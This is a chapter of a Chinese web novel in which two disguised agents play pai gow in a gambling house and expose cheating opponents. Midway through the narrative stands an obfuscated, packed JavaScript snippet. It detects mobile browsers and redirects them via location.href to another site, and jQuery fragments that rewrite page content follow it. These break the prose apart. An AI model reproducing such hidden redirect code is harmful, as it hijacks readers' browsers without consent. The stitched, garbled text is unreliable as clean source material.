77. 博弈(下)

作品:《帝台春暖

    江楚禾蹙起眉头,正觉得奇怪,那声音又响起来。


    “罗里吧嗦的!要打就快点!老娘可没闲工夫看你俩调情!”


    这番话听上去比先前更加烦躁,瓮声瓮气地,还带着一点像是咀嚼的动静。


    围观的众人也纷纷顺着声音来的方向看去,人群自然而然地让出一条道,直通向不远处的角落。


    那里放置着一个半人高的黑漆橱子,两扇木门微微敞着条缝,但灯光太暗,一时也瞧不出什么。


    正在这时,柜门突然被“咣”地一声向外推开。


    江楚禾定睛一看,里面竟窝着个大活人。


    那人身形瘦小,穿着一身缎面的对襟褂子,料子倒挺讲究,可上面却星星点点沾满碎屑,显得邋遢至极,头发也乱糟糟的,几缕银丝随意垂落在有些佝偻的肩头,看上去透着一股子老迈又落魄的可怜劲。


    但当视线上移,怜悯之情瞬间烟消云散。


    老太太脸上戴着一张极尽夸张的寿星面具,将整张面容盖得严严实实,唯独嘴巴那处漏着两指宽的缝隙,此刻正塞着一块酥饼,饼渣随着咀嚼的动作簌簌往下掉,落在那件昂贵的织金褂子上。


    这场面委实有些出人意料,江楚禾不禁怔愣,但赌坊管事却像是早就已经司空见惯。


    她箭步上前,脸上堆满谄笑,哈着腰对橱子里的老妇人道:“柳老夫人,您消消气,咱们这局马上就开!”


    说罢,又转过身,向江楚禾等人赔着笑脸。


    “烦请贵客落座!来人,开局!”


    管事的吆喝声刚一落下,原本趴在牌桌边上打着鼾的布衣老头猛地一激灵,“咚”地一声踢在桌角。


    他疼得嗷嗷直叫,这才醉醺醺地抬起头来,露出脸上的面具。


    那玩意质地粗糙,像是寻常杂木所制,一看就是地摊上几文钱买来的便宜货,上面还有几个用炭笔潦草画就的涂鸦,瞧上去应是金元宝的样式。


    江楚禾的视线下意识在上面停留几许,不想竟马上就被察觉。


    “看什么看!这可是老子的护身符!”那老汉梗着脖子,伸手在面具上乱摸几下,嘴里念念有词,道:“天帝保佑,让六爷我这把通杀!”


    “哎哟!既然六爷也已经准备好了,咱们就开始吧!”


    赌坊管事又击掌两声,荷官立即出动,将一摞用铁片镶嵌,又涂上金漆的精美骨牌整整齐齐地码在乌木桌上。


    这三十二张骨牌按照不同的点数组合被分为“文、武”两类,六六为“天”、一一为“地”、四四为“人”、一三为“和”,是四大“至尊”,其中又以三六为“至尊宝”通杀全场。


    局中四方各执一张,分“头”、“尾”两组比大小,头尾皆胜即为赢。


    牌九规则虽不复杂,其中门道却一点不少,记牌算点都是基本功,高手往往都懂得听声辨位、袖里藏牌,更有甚者还会在骨牌上大做文章,令人防不胜防。


    江楚禾这么想着,又拦住荷官正要分牌的手:“等等!我们图勒人的规矩,玩牌之前得先向天神讨点吉利!”


    “嘁,矫情!”柳姓老太当即发出嗤声。


    玉玲珑也咯咯笑着,“咱们搏天下可是宁州的头号赌坊,待客不计其数,奴家还是头回听说有这种规矩呢!”


    那位被称作“六爷”的老头则更不客气。


    “你搞甚么名堂!老子今晚一定能翻身,你可别把六爷我的运道给借去了!”


    说罢,他又看向一直静静立在旁边的那人。


    “喂!你是不是她男人?怎的也不管管你婆娘!”


    “哈哈哈!大漠的野马爱往哪儿跑就往哪儿跑,我就稀罕她这股子自在劲头!”司徒靖一抬手,在桌上掷下个白花花的物件,“这点银饼子请店家上些好酒好菜,劳烦诸位给个面子!”


    既然吃人嘴短,同桌的几位自然不再反对,只一味催促她别耽误时间。


    江楚禾闻言欣然起身,先是如变戏法似地从腰间掏出个拇指大小的精巧葫芦,从中倒出几滴琥珀色液体在掌心搓匀,然后便手舞足蹈地高喊起来。


    “啊!永恒的主宰,我至高无上的神,请用您智慧的甘露清洗一切污秽,为您谦卑的儿女带来好运!”


    说着,她的指尖掠过牌背,迅速从里边挑出几枚捧在手心,对着背面长长哈出一口气,又叽里咕噜地念出一段“咒语”。


    “我说,你到底有完没完?”柳姓老太不耐烦地拍着大腿。


    江楚禾对她的抱怨充耳不闻,径自将手中骨牌与桌上放着的那些并至一处,看似毫无章法地乱洗一通,再如行云流水般将其铺开。


    “好啦!现在这副骨牌可是被天神赐福的圣物,定会给真诚的人带来好运,让欺诈者无所遁形!”


    她把骨牌向前一推,双手合十假作虔诚地又向上天“祈祷”一番,然后才扭着腰肢回到原位。


    “诸位既已落座,那咱们就开始吧!”


    荷官单手一抛,两颗骰子在青瓷碗中旋转良久,最终定格为一五一三。


    “八点,应北位!第一局,由玉玲珑小姐坐庄!客官请下注!”


    一声铃响,赌局正式开始。


    这场牌局是四方对阵,玉玲珑既有赌神之名,其人技艺精湛自不必说,旁边的暴躁老太看上去也是精明市侩不太好惹,至于那个时而酣卧在桌、时而亢奋大喊的醉酒大叔……


    江楚禾实在瞧不出他是个什么路数。


    杏眸流转间,她抢过司徒靖手中的筹码,一把拍到桌上,豪气道:“初来乍到,就先押一百两试试手吧!”


    “嚯!小丫头片子,还真是初生牛犊不怕虎!”柳姓老太也推出几枚筹码,“跟三十两!”


    “老子也跟!”六爷大喊一声,押上五十两。


    “那……奴家也添点彩头吧!”玉玲珑笑着取下手上那枚艳红的宝石扳指。


    “夫君!他们都好凶哦!这么认真,等会儿是不是还得算牌呀?太累了,我好想歇会儿……”


    江楚禾突然夹着嗓音撒起娇来,然后无比自然地倚在身旁人的怀中,长睫低垂似在假寐,余光却从未离开那叠牌堆。


    骨牌在荷官手中翻飞如蝶,不一会儿就排出个完美的扇形。


    “天地人和,四象归位!”荷官唱和着,将骨牌分发到几人手中。


    牌刚到手,六爷就连连叫好,像是生怕旁人不知他这把走运,相比之下那看似暴躁的柳老太却是全然不露端倪,而玉玲珑则气定神闲地拢拢袖口,好像更在意自己的妆扮。


    司徒靖暗中扫视一圈,将众人持牌时的小动作尽收眼底,然后看向怀中之人。


    正巧她也回望过来,手上还端着一碟杨梅。


    “哎呀,夫君!你说这个红彤彤的果子到底好不好吃呀?”


    江楚禾故意做出这副模样,引得众人无法直视,可那正主却镇定自若,淡淡道:“为夫不知,你试试?”


    “才不要!如果太酸我就不吃了!咦?”她捏起一颗送到对方唇边,唇边闪过一抹狡黠的笑:“不如……夫君替我尝尝?”


    酸涩自舌尖直抵脑门,司徒靖却恍若未觉。


    “难道真的不酸?”江楚禾杏眼圆瞪,不可思议地看着他。


    司徒靖另取一颗递到她的跟前,低声哄逗:“夫人不妨亲自品鉴。”


    他的唇上还沾着未干透的汁液,在烛光下湿漉漉的,像是无声的引诱。


    江楚禾鬼使神差地张口,可正当她要伸出舌尖将梅子卷走时,那人却突然后撤半寸。


    “唔?”


    她下意识地够着头追上去,腰肢猛一用力,后背抵上赌桌的边缘,桌上茶具立时倾倒。


    茶水泼溅之间,又是一阵鸡飞狗跳,待赌局继续时,司徒靖已将各人藏牌的位置了然于心。


    但两人闹出这么大的动静,必然会引来怀疑,柳姓老太首先发声:“嘿哟!我说你这小丫头是不是故意捣乱?这局不作数,我们重新发牌!”


    “别介!六爷我好容易走一次运!”醉酒大叔赶紧阻止对方主持正义。


    玉玲珑见状也打起圆场:“二位胡商毕竟是异域贵客,想来又并非故意,柳老夫人就忍让着些吧。”


    “行吧,行吧!那快点,别磨磨叽叽的!”


    众人同时亮牌,六爷立即兴高采烈地呼喊起来:“啊哈哈哈!老子就说吧!今天肯定能翻身!”


    “嘁……你小子可别高兴得太早!”唯有场内辈分最高的柳老太才敢如此称呼这位大叔,她点点桌上的骨牌,用教训小辈的口吻道:“你头组不过就出了个‘地牌’,也只比老娘的‘人牌’高一点,狂个什么劲?”


    “嘿!你这老太婆……”六爷指着玉玲珑和江楚禾面前那两副杂牌,嗤笑道:“就这……还拿什么斗?难道还有谁拿着天牌却藏着掖着不打出来?这一把就是老子最大,老太婆你还真别不服气!”


    “这可说不好……待会万一这对鸳鸯在尾组时真掏出天牌来,你难道还能变出个至尊宝?呵……”


    柳老太一副“小子你还年轻,不知人间险恶”的说教姿态,让六爷分外不爽,他愤愤看一眼旁边的“异域鸳鸯”,那两人果真没有丝毫输牌的气闷,反倒在旁若无人地咬耳朵。


    六爷的心里咯噔一下,莫非刚那一下子,这俩人还真动过什么手脚?


    他下意识地摸了摸自己的左腕,正迟疑着,便听荷官发话道:“头组六爷点数最高,请诸位再次亮牌!”


    铃声一响,六爷顿时傻眼。


    玉玲珑面前明晃晃地放着一副对六,那是仅次于至尊宝的天牌,若出现在尾组对阵中,则不论头组输赢都算胜出。


    “唉……”


    他两腿一软,瘫坐下去,又大口大口地灌起酒来。


    “诸位,承让……”玉玲珑敛着衣袖浅浅一福,将桌上筹码收入囊中,她笑得春风得意,但也不忘身为“陪玩”的本分,娇声安慰一旁的熟客道:“六爷莫要气馁,这一局您通吃闲家,按规矩下轮就该您坐庄啦!”


    “唔!没错!”六爷一听这话马上又精神抖擞地坐起身,将手边筹码悉数推出去,“老子可是庄家!加注一百两!”


    “那我们也跟一百!”江楚禾推出一摞筹码。


    “嘿哟!胡商就是阔气,几百两拿着打水漂玩啊!啧啧,老娘这把再出个二十两玩玩。”柳老太丢出几枚筹码,然后骂骂咧咧地抓起一把蜜饯嚼起来。


    “夫君,你看人家都笑话我们!呜……”


    江楚禾假装拭泪,娇滴滴地往身旁之人的怀中靠去,害得众人一阵不适,纷纷撇开眼神,而司徒靖则趁此机会一把握住她的右腕,借着长袖的遮挡迅速用指尖敲击五下。


    两短,一长,两短。


    是坎卦。


    她立即会意,用余光看向北位,果然瞧见玉玲珑的右手腕间依稀出现一抹异色。


    见江楚禾已然接收到讯息,司徒靖干笑两声,又以浓重的图勒口音豪迈道:“夫人只管由着性子出牌,横竖输赢不过都是为夫账本上的笔墨游戏!”


    这话听着简直狂到没边,柳老太忍不住说起风凉话:“哎哟哟,漂亮丫头就是有人宠。啧,只是不知你这回运气如何,别是个黑寡妇倒霉鬼,到时又将背运带给你男人!”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17452473|192645||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>“哈哈哈!不劳费心!”司徒靖抚须大笑,“白骨峡的淘金汉,上一铲可能刨出狗头金,下一锹没准就撞尸骸骨,命运比大漠的流沙还不讲道理。但玉髓山的工匠不敢赌石皮,鬼驼帮的汉子却敢闯沙暴,我兀腊尔从不怕赌命!”


    江楚禾可没想到,这人暗探居然还能演到这个份上。若非此刻时机不对,她真想调侃一番。


    旁人不知他原是何等清冷端方的高岭之花,自然不觉惊讶,听到这话也只当是西域商贾惯有的作派。


    “不愧是胡商,果真气魄非凡!那奴家也拼一把,押八十两!”玉玲珑娇笑两声,纤纤玉手推出一摞筹码。


    铃声再响,柳老太将手中“杂牌”一把甩出,骂道:“真是晦气!这把糟透了!”


    六爷举着手中的“人牌”,正想幸灾乐祸地嘲讽几句,但在看到玉玲珑亮出的“天牌”后又悻悻闭嘴。


    江楚禾见状,抓住机会就开始拱火,她两指在方才亮出的杂牌上敲了敲,用玩笑似的语气意有所指道:“玉玲珑小姐还真不负赌神之名,竟然次次都能摸到‘天牌’,就好像好牌都长着眼睛往小姐袖里钻似的!”


    经她提醒,六爷像是也意识到了什么,大喊一声:“吓!没错!这西域娘子说得对!玲珑小姐,别是有什么独门技艺吧?若真如此,六爷我可要仔细计较……”


    说着,他起身朝玉玲珑的方向走出几步,眼看就要去撩对方的长袖。


    后者见此人居然认真起来,赶紧捏起嗓音娇滴滴地安抚道:“哎哟!六爷真是冤枉奴家了……奴家哪有什么旁的伎俩,不过就是运气好些罢了!”


    “老六你个糟老头子,莫不是还想搜人家玲珑小姐的身?你这意图可有的说哦!”柳老太看热闹不嫌事大。


    按大梁的律法,即便是赌坊花魁,那也得你情我愿的做生意,若男子稍有不慎逾了矩,可是要下大狱的。


    六爷赶忙退后一步,“我……我哪有那个意思?你个老虔婆莫要胡诌!”


    说罢,他只好扁扁嘴回到自己的位置。


    一条长腿立即收回,江楚禾拍拍身旁人的膝头。


    “继续罢!”司徒靖沉声催促,率先亮牌。


    “嘶……至尊宝?”


    柳老太一把甩出手中“杂牌”,不可置信地看着两人。


    玉玲珑暗自整一整衣袖,也默默掏出一副“杂牌”。


    而六爷那边的情况可是热闹得多。


    他刚要亮牌时,袖中便突然叮呤咣啷地滑出两张骨牌来,他本就喝得有些头脑发懵,猛然来这一出,自是猝不及防,惊慌之下又一巴掌打翻酒壶,登时更添几分混乱。


    柳老太噗嗤一笑,大骂道:“死老千,活该!”


    六爷却仍在狡辩:“啊哟!你莫胡说!这咋回事……老子也不知道啊!算了算了,这把认输……横竖都是那胡商的至尊宝最大,你们就莫要同小老再做计较了!”


    江楚禾不禁暗骂,她刚将桌下的磁石用脚趾夹回来,本打算趁此时那边正乱着套,神不知鬼不觉地穿好鞋袜,不想那醉酒老汉三两句话的工夫又把众人的注意力给引了过来。


    她无奈收腿,正欲弯下腰时,忽觉脚踝一暖。


    司徒靖面上带着客套的笑,一边说着“输赢都是天神的恩赐,此番也只是侥幸取胜,不足为道”之类的场面话,另一边却已将修长的手指探到桌下,于旁人视线所不及之处拎着她的罗袜一寸寸地往上捋。


    那人掌心的温度隔着薄软布料隐隐传来,烧得她肌肤发烫,一股奇异的酥麻感自脚踝而起,如过电般蔓延至身体的最深处,江楚禾下意识绷紧脚尖,向后抽了下腿。


    “夫人,安分点。”司徒靖在桌下拍拍她的小腿,一把握住脚踵将绣鞋套上去,这才抬头对围观之人笑道:“我妻性子活泼,喜欢瞎胡闹,让诸位看笑话了。”


    听此人左一句“夫人”右一句“我妻”,占便宜占得那叫一个脸不红心不跳,江楚禾愤愤捶他一拳,红着脸转移话题:“哎呀!夫君……咱们这把是不是赢了呀!我记得赌坊管事说过,那个什么‘至尊宝’可是能通杀全场的!”


    说着,她看向荷官。


    后者忙道:“方才出了些乱子,所以才耽搁了……客官莫怪……”然后赶紧敲响铃声,高声道:“第二局,胡商夫妇胜!”


    又是一家欢喜几家愁的结算时刻,六爷摸着裤兜瘫坐下去。


    这把庄家被通杀,除要将自己押注的一百两给出去,还得按押注的本金再等比赔付赢家,总共可是二百两啊!


    六爷看着正笑盈盈收回筹码的江楚禾,不禁暗骂这胆大包天的无知妇人出手没个轻重,真是害他不浅。


    他正腹诽着,柳老太又准时来添堵了:“庄家老六,掏钱吧!”


    “我……先欠着!老子下一把肯定翻盘!”


    柳老太嗤笑一声,“嚯!欠着?搏天下还有这规矩呐!”


    玉玲珑的唇边勾起几分毫无温度的笑意,“六爷说笑了,咱们还是快些结清,进入下一局吧。”


    “我……我不是没有,我是……没,没带!”


    看他像是打定主意要赖账,荷官在身后打出一个手势,不过几息之间就有四名壮汉将此处团团围住。


    玉玲珑朱唇轻启,全无半点娇媚,“那便请六爷前去取来,不必担心天黑危险,兄弟们自会一路相送。”


    几名壮汉应声站到六爷身旁,将坐在地上正撒泼打滚的老汉一把拽起。


    “吓!你们要做甚?”六爷被一路拖行,又喊又叫:“你们放开我!还有没有王法!你们可知我是谁?我儿……他可是官府的人!”